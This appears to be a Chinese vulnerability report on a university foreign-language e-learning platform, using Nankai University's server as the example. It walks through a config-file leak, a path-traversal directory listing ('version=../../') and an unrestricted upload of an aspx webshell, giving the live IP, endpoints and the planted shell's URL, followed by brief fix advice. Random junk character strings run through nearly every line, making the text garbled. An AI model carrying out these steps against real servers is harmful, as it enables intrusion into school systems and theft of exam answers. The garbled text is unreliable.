好多大学都在用这个教学平台,这个漏洞会导致直接拿到试题答案,甚至作为跳板继续渗透进入学校其他服务器中
8 v/ L" k& i0 G* S2 Y
: {% o! D+ x3 m5 m% U3 M详细说明:
% `( n. K1 B8 @. I% ^% k. a 1 y+ O0 k0 l' G9 F6 A$ ?: ^
以南开大学的为例:
' G6 I& p+ J4 w/ \5 W" ^& s9 X; phttp://222.30.60.3/NPELS0 ?5 z+ m! W' H3 i5 B# ]$ C9 R$ I
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址* a+ ~0 S2 D a9 ]) R# i: T/ V: i" f
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: A2 {6 f4 ]/ ~+ N8 ?<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
: g s8 r ?" h) {4 w: a$ R</setting>
# O# ]% W' K1 I4 u" J及版本号
8 t( V/ @& N/ j R" M, U) n$ h7 s<add key="TVersion" value="1, 0, 0, 2187">/ f5 \6 C Z, ?3 Y
</add>
7 }8 k; u" ^2 _$ o6 Q直接访问
8 ^5 T! R% C7 x" u9 N& R+ c! xhttp://222.30.60.3/NPELS/CommonService.asmx n% j0 j$ x) n
使用GetTestClientFileList操作,直接 HTTP GET 列目录:" m; R& Q. Z( e5 L L& r' x
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187) J& A$ z, m' Z$ u1 ^' M
进一步列目录(返回的网页很大,可以直接 wget 下来)& ~; x; x9 g% ]7 _
http://222.30.60.3/NPELS/CommonS ... List?version=../../
) a' U* _$ |7 \" j + @" ]8 J* h! L3 p( M {' u) B
发现; G( F: [- z$ ?
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm+ v2 G) M) Z# s2 f" ~
可以上传,直接上传aspx木马即可,不需要改后缀名或者文件头
, K0 E7 f% U! a9 L- W上传后继续列目录找到木马地址直接访问即可' D+ S* o7 \, p" O
S/ g2 N4 G. F0 F. a# GOOXX$ w) \ \+ _, R3 p3 I, r: ?# u
$ E, P! x7 P* S7 ]3 l2 ^Google "新理念外语网络教学平台" 测试了几个其他的站,都有类似的列目录上传方法% k1 N0 y+ ^5 _* G
漏洞证明:
2 \8 y R7 i9 X2 w
0 Q# O6 y) h/ n4 h3 @' C列目录:
Z3 C2 B! q+ N3 c0 T! F5 ohttp://222.30.60.3/NPELS/CommonS ... List?version=../../: O. R2 T/ n4 t( Z8 j0 x
文件上传:
! X. w7 q" L1 V8 j3 dhttp://222.30.60.3/npelsv/editor/editor.htm
$ D: ]' \6 G. H/ A8 H , l% T% X* E/ T( k/ g& g
上传木马:' D" h; l/ g# W& G6 }, s
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
& j2 o. L: M% U2 U! S* b 5 h. L. l& e8 `6 [& U7 L- t+ I
修复方案:
9 c" U% u: i' m# ]+ r' E好像考试系统必须使用 CommonService.asmx
- [3 e( T' n5 F- O最好配置文件加密或者用别的方式不让它泄露出来
1 Q. X) b8 T! O% m E2 [+ T k并且检查或删除各上传入口,像 http://222.30.60.3/NPELS/Upload.aspx 一样4 _: I6 y! J$ X0 o7 i# G
|